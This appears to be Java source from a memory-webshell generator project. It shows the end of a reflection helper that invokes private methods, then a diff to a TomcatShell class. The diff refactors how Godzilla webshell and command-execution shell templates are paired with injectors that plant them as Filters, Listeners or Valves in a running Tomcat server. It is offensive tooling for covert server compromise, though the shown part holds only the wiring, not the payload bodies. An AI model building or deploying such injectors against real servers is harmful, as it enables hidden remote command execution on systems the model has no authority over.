while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.memsell.InjectorGenerator;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
@@ -15,98 +12,33 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "Websocket";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
/**
* 哥斯拉 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
static {
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
/**
* 命令执行 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> COMMAND_SHELL_MAP = new HashMap<>();
static {
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
switch (shellConfig.getShellTool()) {
case Godzilla: {
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
break;
}
case Command: {
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
}